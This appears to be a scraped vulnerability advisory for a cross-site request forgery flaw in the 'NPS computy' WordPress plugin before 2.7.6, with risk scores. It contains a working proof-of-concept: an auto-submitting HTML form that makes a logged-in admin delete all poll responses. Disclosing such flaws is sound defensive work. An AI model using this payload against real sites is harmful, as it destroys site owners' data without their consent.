NPS computy < 2.7.6 - Results Deletion via CSRF

2024-03-2500:00:00

Bob Matyas

nps

version 2.7.6

cross-site request forgery

results deletion

9.5 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.2%

JSON

Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

Make a logged in admin open the following:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=nps-plugin-options" method="POST">
        <input type="text" id="event" name="event" value='delete_all'>
        <input type="submit" value="submit" name="add">
    </form>
</body>
```

The result is that all existing poll responses are deleted.